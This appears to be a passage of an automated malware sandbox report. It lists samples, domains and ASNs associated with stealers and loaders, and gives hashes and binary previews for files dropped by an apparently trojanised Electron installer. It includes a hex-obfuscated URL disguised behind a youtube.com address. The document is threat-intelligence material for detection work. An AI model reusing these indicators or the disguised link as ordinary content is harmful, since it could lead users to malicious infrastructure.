https://youtube.com0x360x380x370x340x370x340x370x300x370x330x330x610x320x660x320x660x360x310x360x640x360x360x370x320x320x650x370x320x370x350x320x660x370x320x360x620x320x650x370x300x360x380x370x300x330x660x360x390x360x340x330x640x330x320x330x300x330x300x320x360x370x330x360x390x370x340x360x350x350x660x360x390x360x340x330x640x370x330x330x310x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x320x360x310x360x650x360x650x360x350x370x320x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x330x360x630x360x390x360x330x360x620x320x360x360x350x370x360x360x350x360x650x370x340x330x330x330x640x330x310x320x620x320x350x330x320x340x360x320x620x320x350x330x350x340x320x330x320x330x350x330x300x320x350x330x350x340x340x320x620x320x350x330x350x340x320x360x390x360x650x360x340x360x350x370x380x350x660x360x320x350x660x360x330x320x350x330x350x340x340x320x620x320x350x340x340x330x300x320x350x330x390x330x330x320x350x340x340x330x300x320x350x340x320x340x320x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x300x320x350x340x320x330x320x320x350x340x340x330x300x320x350x340x320x340x340x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x310x320x350x330x380x340x360x320x620x320x350x340x340x330x310x320x350x330x380x330x310x320x350x340x340x330x310x320x350x330x380x330x320x320x350x340x340x330x340x370x380x360x340x390x320x390x330x370x320x330x300x390x340x370x330x340x300x330x340x2d0x380x380x340x330x340x370x330x340x300x340x390x300x350x370x330x370x340x330x300x340x300x330x340x380x320x2d0x340x300x390x340x380x2d0x320x2d0x340x380x380x320x2d0x330x320x380x380x340x370x370x320x390x390x320x380x380x380x340x370x340x370x320x390x300x340x390x340x370x320x340x300x380x320x340x370x340x370x320x620x320x640x320x620x320x350x340x340x330x300x320x350x330x390x330x340x320x350x340x340x330x300x320x350x340x320x330x350x320x350x340x340x330x300x320x350x340x320x340x330x320x350x340x340x330x300x320x350x340x320x330x380x320x350x340x340x330x300x320x350x340x320x340x310x320x350x340x340x330Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                      Bontrageroutdoors_Project_Update_202557516.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        invoice_AG60538.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                          Message 2.emlGet hashmaliciousUnknownBrowse

                                                                                                                                                                                                                            Domains

                                                                                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                            chrome.cloudflare-dns.compossible SPAM## Msig Insurance Europe Complete via-Sign Monday January 2025.msgGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                            • 162.159.61.3
                                                                                                                                                                                                                            Handler.exeGet hashmaliciousDanaBot, VidarBrowse
                                                                                                                                                                                                                            • 162.159.61.3
                                                                                                                                                                                                                            Collaboration-x64.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                            • 172.64.41.3
                                                                                                                                                                                                                            JUbmpeT.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                                            • 162.159.61.3
                                                                                                                                                                                                                            3bSDIpSIdF.msiGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                            • 172.64.41.3
                                                                                                                                                                                                                            3bSDIpSIdF.msiGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                            • 172.64.41.3
                                                                                                                                                                                                                            mNPTwHOuvT.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                                            • 162.159.61.3
                                                                                                                                                                                                                            1507513743282749438.jsGet hashmaliciousStrela DownloaderBrowse
                                                                                                                                                                                                                            • 162.159.61.3
                                                                                                                                                                                                                            https://youtube.com0x360x380x370x340x370x340x370x300x370x330x330x610x320x660x320x660x360x310x360x640x360x360x370x320x320x650x370x320x370x350x320x660x370x320x360x620x320x650x370x300x360x380x370x300x330x660x360x390x360x340x330x640x330x320x330x300x330x300x320x360x370x330x360x390x370x340x360x350x350x660x360x390x360x340x330x640x370x330x330x310x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x320x360x310x360x650x360x650x360x350x370x320x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x330x360x630x360x390x360x330x360x620x320x360x360x350x370x360x360x350x360x650x370x340x330x330x330x640x330x310x320x620x320x350x330x320x340x360x320x620x320x350x330x350x340x320x330x320x330x350x330x300x320x350x330x350x340x340x320x620x320x350x330x350x340x320x360x390x360x650x360x340x360x350x370x380x350x660x360x320x350x660x360x330x320x350x330x350x340x340x320x620x320x350x340x340x330x300x320x350x330x390x330x330x320x350x340x340x330x300x320x350x340x320x340x320x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x300x320x350x340x320x330x320x320x350x340x340x330x300x320x350x340x320x340x340x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x310x320x350x330x380x340x360x320x620x320x350x340x340x330x310x320x350x330x380x330x310x320x350x340x340x330x310x320x350x330x380x330x320x320x350x340x340x330x340x370x380x360x340x390x320x390x330x370x320x330x300x390x340x370x330x340x300x330x340x2d0x380x380x340x330x340x370x330x340x300x340x390x300x350x370x330x370x340x330x300x340x300x330x340x380x320x2d0x340x300x390x340x380x2d0x320x2d0x340x380x380x320x2d0x330x320x380x380x340x370x370x320x390x390x320x380x380x380x340x370x340x370x320x390x300x340x390x340x370x320x340x300x380x320x340x370x340x370x320x620x320x640x320x620x320x350x340x340x330x300x320x350x330x390x330x340x320x350x340x340x330x300x320x350x340x320x330x350x320x350x340x340x330x300x320x350x340x320x340x330x320x350x340x340x330x300x320x350x340x320x330x380x320x350x340x340x330x300x320x350x340x320x340x310x320x350x340x340x330Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                            • 162.159.61.3
                                                                                                                                                                                                                            44742054371077666.jsGet hashmaliciousStrela DownloaderBrowse
                                                                                                                                                                                                                            • 172.64.41.3

                                                                                                                                                                                                                            ASNs

                                                                                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                            CLOUDFLARENETUSyTRd6nkLWV.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                            • 188.114.96.3
                                                                                                                                                                                                                            XhlpAnBmIk.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                            • 188.114.96.3
                                                                                                                                                                                                                            k7h8uufe6Y.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                            • 188.114.96.3
                                                                                                                                                                                                                            009.vbeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                                                            • 104.26.12.205
                                                                                                                                                                                                                            possible SPAM## Msig Insurance Europe Complete via-Sign Monday January 2025.msgGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                            • 104.18.69.40
                                                                                                                                                                                                                            92.255.57_2.112.ps1Get hashmaliciousLummaCBrowse
                                                                                                                                                                                                                            • 188.114.96.3
                                                                                                                                                                                                                            phishing.emlGet hashmaliciousPhisherBrowse
                                                                                                                                                                                                                            • 188.114.96.3
                                                                                                                                                                                                                            PI ITS15235.docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                                                                                            • 104.21.16.1
                                                                                                                                                                                                                            https://tinyurl.com/286oc4lyGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                            • 104.17.112.233
                                                                                                                                                                                                                            http://hotpepperliberia.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                            • 172.67.130.110
                                                                                                                                                                                                                            IPNET-RUSSIA-ASRUhttps://link.edgepilot.com/s/1b4c2fcb/nQHbBC0YQUOfuyi9X74dgg?u=https://url.usb.m.mimecastprotect.com/s/sZGCCm7Wwmt5092LsBiWSRG4Fz?domain=link.edgepilot.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                            • 91.184.243.151
                                                                                                                                                                                                                            https://0nline.extractconvertemaill.info/?dkS=88Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                                            • 91.184.244.52
                                                                                                                                                                                                                            .main.elfGet hashmaliciousXmrigBrowse
                                                                                                                                                                                                                            • 91.184.240.129
                                                                                                                                                                                                                            .report_system.elfGet hashmaliciousXmrigBrowse
                                                                                                                                                                                                                            • 91.184.240.129
                                                                                                                                                                                                                            .main.elfGet hashmaliciousXmrigBrowse
                                                                                                                                                                                                                            • 91.184.240.129

                                                                                                                                                                                                                            JA3 Fingerprints

                                                                                                                                                                                                                            ⊘No context

                                                                                                                                                                                                                            Dropped Files

                                                                                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\d3dcompiler_47.dllCollaboration-x64.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                              Collaboration-x64.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                Yoranis Setup.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                  Yoranis Setup.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                    SalmonSamurai.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                      SalmonSamurai.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                        NativeApp_G5L1NHZZ.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                                          CapCut_12.0.4_Installer.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                                            CapCut_12.0.4_Installer.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                                              AyqwnIUrcz.exeGet hashmaliciousUnknownBrowse

                                                                                                                                                                                                                                                Created / dropped Files

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):3008
                                                                                                                                                                                                                                                Entropy (8bit):5.488800770428186
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:48:+izsSU4xymI4RfoUeCa+m9qr9t5/78NQffiiCRlxJZKaVEouYAgwd64rHLjtv5:+izlHxvIIwLz9qrh7KWKnJ5Eo9Adrx5
                                                                                                                                                                                                                                                MD5:948A87891C57E835BF99136412CA29C6
                                                                                                                                                                                                                                                SHA1:A8B75B617849EF3E0CEE21064E9C3F45D4C15CB7
                                                                                                                                                                                                                                                SHA-256:4093945A23142360315485CC0918EE32110A46AB96D65E1FDC238A7E224B31BE
                                                                                                                                                                                                                                                SHA-512:7046760D4E9C58A467CF0EAEF4EDB0E2A279FF4028345351239F049BF02344B462C9E81D194F8977E658711EC9D69947877EEBC4504A8A0C6384AE8465B9EEDA
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:@...e...................................C............@..........H..............@-....f.J.|.7h8..+.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...|...........System.Configuration4.................%...K... ...........System.Xml..L.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.H................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):160143360
                                                                                                                                                                                                                                                Entropy (8bit):6.74179101901808
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1572864:OLBZB52nvuZ7wVuMbgR7Sp6kYdEctmhoLsPagBsgkx52HYhwj+vfIBUdoJnP9Dj0:OypCmJctBjj2+Jv
                                                                                                                                                                                                                                                MD5:E9DFAA053710AE038CB4741FBE77E9D9
                                                                                                                                                                                                                                                SHA1:9D7F9C84980ACD0ACEC914F4615CE8568CF1404E
                                                                                                                                                                                                                                                SHA-256:1DEECDFBA43F4DEE6CD898B24317117E9C8096CFCDF340A17659571F1CB29DD3
                                                                                                                                                                                                                                                SHA-512:70E4F0D13F7789729D6FDD841776B19588667F55B1D92EC021F5EA264F978F721171BFA86E709549F91817DA5873D7AE7499625E01B576FB94AF36596CCB9401
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........."......0...8.......F.........@..........................................`...........................................+.. ..0"..h.......D....Pt.._@..........0.......!.......................!.(... Q..@...........@8......`.*......................text...:/.......0.................. ..`.rdata..h.n..@....n..4..............@..@.data....TB...1.......1.............@....pdata..._@..Pt..`@...9.............@..@.00cfg..0.............z.............@..@.gxfg...pA.......B....z.............@..@.retplne.............Dz..................rodata...... .......Fz............. ..`.tls.........@.......Xz.............@...CPADinfo8....P.......\z.............@...LZMADEC......`.......^z............. ..`_RDATA..\............pz.............@..@malloc_h+............rz............. ..`.rsrc...D............xz.............@..@.reloc......0........|.............@..B................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\LICENSE.electron.txt

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:ASCII text
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):1096
                                                                                                                                                                                                                                                Entropy (8bit):5.13006727705212
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
                                                                                                                                                                                                                                                MD5:4D42118D35941E0F664DDDBD83F633C5
                                                                                                                                                                                                                                                SHA1:2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
                                                                                                                                                                                                                                                SHA-256:5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
                                                                                                                                                                                                                                                SHA-512:3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\LICENSES.chromium.html

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:HTML document, ASCII text
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):8312662
                                                                                                                                                                                                                                                Entropy (8bit):4.705814170451806
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:24576:dbTy6TU675kfWScRQfJw91SmfJB6i6e6R626X8HHdE/pG6:tygpj
                                                                                                                                                                                                                                                MD5:312446EDF757F7E92AAD311F625CEF2A
                                                                                                                                                                                                                                                SHA1:91102D30D5ABCFA7B6EC732E3682FB9C77279BA3
                                                                                                                                                                                                                                                SHA-256:C2656201AC86438D062673771E33E44D6D5E97670C3160E0DE1CB0BD5FBBAE9B
                                                                                                                                                                                                                                                SHA-512:DCE01F2448A49A0E6F08BBDE6570F76A87DCC81179BB51D5E2642AD033EE81AE3996800363826A65485AB79085572BBACE51409AE7102ED1A12DF65018676333
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview: Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title" style="float:left;">Credits</span>.<a id="print-link" href="#" style="float:right;" hidden>Print</a>.<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<input type="checkbox" hidden id="0">.<label class="show" for="0" tabindex="0"></label>.<div class="licence">.<pre>Copyright(C) 1997,2001 Takuya OOURA (email: ooura@kurims.kyoto-u.ac.jp)..You may us

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\chrome_100_percent.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):127125
                                                                                                                                                                                                                                                Entropy (8bit):7.915612661029362
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:vlKzwqCT4wDNzIwL2o418Gb0+VRLf0ld0GY3cQ39Vm2I:vlKzwt4uEgK18Gb0OV8ld0GecQ3f2
                                                                                                                                                                                                                                                MD5:ACD0FA0A90B43CD1C87A55A991B4FAC3
                                                                                                                                                                                                                                                SHA1:17B84E8D24DA12501105B87452F86BFA5F9B1B3C
                                                                                                                                                                                                                                                SHA-256:CCBCA246B9A93FA8D4F01A01345E7537511C590E4A8EFD5777B1596D10923B4B
                                                                                                                                                                                                                                                SHA-512:3E4C4F31C6C7950D5B886F6A8768077331A8F880D70B905CF7F35F74BE204C63200FF4A88FA236ABCCC72EC0FC102C14F50DD277A30F814F35ADFE5A7AE3B774
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:..............t...#.....:.I...J~p...K~6...L~....M~#...N~....O~`...P~m...Q~....R~....S~I...T~....U~'"..V~.,..^~.7.._~;9..b~v:..c~(<..j~.<..k~.B..l~fH..m~.J..n~.K..o~.L.....M.....N....aP....IS....BV....uY.....]....Pa.....d....h....i...hk....l....m...An....n.....................................K.....x...........4.....m.....D.............................1........................'.....*.....4.....>.....C.....D....hM.....U.....V....>X.....Z....E].....]....a...%c....d....f....h....i....k....l....o...wq....t...7v....y....}....~...m................................3.................g.....6............................k.....-...........3.....9......................H.......................Y.................{.....s....M..............F...................&....y..............\....p....Z.........Z.........g...........................T..................6...............M.................r...........1.................X.................u.......

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\chrome_200_percent.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):177406
                                                                                                                                                                                                                                                Entropy (8bit):7.939611912805236
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:4DQYaEQN6AJPKNzIwafR54x5GMR+F44ffbdZnYw9p4AbIVGYoDd+HxNK/rIM0:4DQYaNN68QEVgx5GMRejnbdZnVE6YopY
                                                                                                                                                                                                                                                MD5:4610337E3332B7E65B73A6EA738B47DF
                                                                                                                                                                                                                                                SHA1:8D824C9CF0A84AB902E8069A4DE9BF6C1A9AAF3B
                                                                                                                                                                                                                                                SHA-256:C91ABF556E55C29D1EA9F560BB17CC3489CB67A5D0C7A22B58485F5F2FBCF25C
                                                                                                                                                                                                                                                SHA-512:039B50284D28DCD447E0A486A099FA99914D29B543093CCCDA77BBEFDD61F7B7F05BB84B2708AE128C5F2D0C0AB19046D08796D1B5A1CFF395A0689AB25CCB51
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:..............t...#.....:.t...J~....K~....L~....M~....N~....O~....P~.%..Q~.*..R~.-..S~c5..T~.9..U~.A..V~.V..^~Ck.._~.m..b~)o..c~yr..j~#s..k~.}..l~....m~...n~...o~......................................K.....!..................Q..............*........................a.......................,%....H0.....2....E:....(A.....F.....L.....R.....T....QY....:].....f.....i....br....Sv..........C...........).................].....}................................................................................................. ....!....%.....*.....,..........O/...../....y1.....2....l4.....6.....7....A:.....?.....C.....K.....S.....Y....._.....e....Ok.....l.....m.....n.....o.....q.....r.....s.....u....:w..............P............................%.............7................,........G........u.............B........S.........a....%........;.....................l...........T..........R...........6..........).............

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\d3dcompiler_47.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):4916712
                                                                                                                                                                                                                                                Entropy (8bit):6.398049523846958
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:49152:KCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvhiD0N+YEzI4og/RfzHLeHTRhFRNc:xG2QCwmHPnog/pzHAo/A6l
                                                                                                                                                                                                                                                MD5:2191E768CC2E19009DAD20DC999135A3
                                                                                                                                                                                                                                                SHA1:F49A46BA0E954E657AAED1C9019A53D194272B6A
                                                                                                                                                                                                                                                SHA-256:7353F25DC5CF84D09894E3E0461CEF0E56799ADBC617FCE37620CA67240B547D
                                                                                                                                                                                                                                                SHA-512:5ADCB00162F284C16EC78016D301FC11559DD0A781FFBEFF822DB22EFBED168B11D7E5586EA82388E9503B0C7D3740CF2A08E243877F5319202491C8A641C970
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Joe Sandbox View:
                                                                                                                                                                                                                                                • Filename: Collaboration-x64.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: Collaboration-x64.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: Yoranis Setup.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: Yoranis Setup.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: SalmonSamurai.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: SalmonSamurai.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: NativeApp_G5L1NHZZ.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: CapCut_12.0.4_Installer.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: CapCut_12.0.4_Installer.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: AyqwnIUrcz.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d...^.}`.........." ......8..........<).......................................K.....:FK...`A........................................`%G.x....(G.P.....J.@.....H.......J..%....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\ffmpeg.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):2883072
                                                                                                                                                                                                                                                Entropy (8bit):6.697367886822868
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:49152:YGJO72cNsdMZWfAn1fdmZMOqcQrGhjUHgNxGUwSCmmfYDJGz5SN3lzl3hSKqH:Jj8n1QqGCmmfIUz59t
                                                                                                                                                                                                                                                MD5:E096C168B79A56DED0DF1AA142D9F1DA
                                                                                                                                                                                                                                                SHA1:318F20DAB294A315BD935160E9417FB5B28300F5
                                                                                                                                                                                                                                                SHA-256:65CC75329D17EC264E7A2DB571EA55F918394241445EA64569A56C75D0CFDC60
                                                                                                                                                                                                                                                SHA-512:3DCCF6CE85EF7E75690A5851642F10BB5E6E1572E91E933BACB7FCBFE405B0412B94BA0E160C3BA8D68D2B9AFC1DA268F61C83DCCD6453D8C9470931EE900BFD
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$#..................................................@B...........`A..........................................*.......*.(.............@...............B..3....).......................).(....R#.@............"*.P............................text....##......$#................. ..`.rdata..l....@#......(#.............@..@.data...x.....*.."....*.............@....pdata........@.......*.............@..@.00cfg..8.....A.......+.............@..@.gxfg....,....A.......+.............@..@.retplne......A.......+..................tls..........A.......+.............@..._RDATA..\.....A.......+.............@..@.reloc...3....B..4....+.............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\icudtl.dat

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):10542048
                                                                                                                                                                                                                                                Entropy (8bit):6.277141340322909
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:98304:OKPBQYOo+ddlymOk25flQCUliXUxiG9Ha93Whla6ZGdnp/8k:OKPBhORjOhCliXUxiG9Ha93Whla6ZGrn
                                                                                                                                                                                                                                                MD5:D89CE8C00659D8E5D408C696EE087CE3
                                                                                                                                                                                                                                                SHA1:49FC8109960BE3BB32C06C3D1256CB66DDED19A8
                                                                                                                                                                                                                                                SHA-256:9DFBE0DAD5C7021CFE8DF7F52458C422CBC5BE9E16FF33EC90665BB1E3F182DE
                                                                                                                                                                                                                                                SHA-512:DB097CE3EB9E132D0444DF79B167A7DCB2DF31EFFBBD3DF72DA3D24AE2230CC5213C6DF5E575985A9918FBD0A6576E335B6EBC12B6258BC93FA205399DE64C37
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html .Q....B.......B...#...B.. $...B..p$...B...$...B...%...B..`P...C...P...C...Q..(C......<C.....OC......bC..@...uC.......C..P....C.......C.......C..p....C.. ....C.......C.......D..p... D.....3D..0...FD.....YD.....lD.......D......D..0....D.......D..p....D......D..@....D.......E......E..@...*E.....=E..P...NE......bE.....rE..@....E.......E.......E..P....E.......E......E..@....F.......F.....'F..0...7F..P...JF......aF......qF...G...F.. H...F..`K...F...K...F...L...F...-...F...c...G....'.'G....'.>G..@.'.UG..0.'.oG....'..G...!'..G...!'..G..P&'..G...)'..G..@*'..H..`.(..H...e).7H..0.).VH...)*.xH....*..H....*..H...P+..H...Y+..H...Z+..I...]+. I..`^+.9I.. .+.UI....+.lI....+..I..P.-..I...=...I.......I.......I.. ....J..p....J......-J..p...EJ......ZJ......rJ..`....J..@....J.......J.......J..0....J.......J.......J..0....K..@....K..../.2K...,/.GK..../.\K..

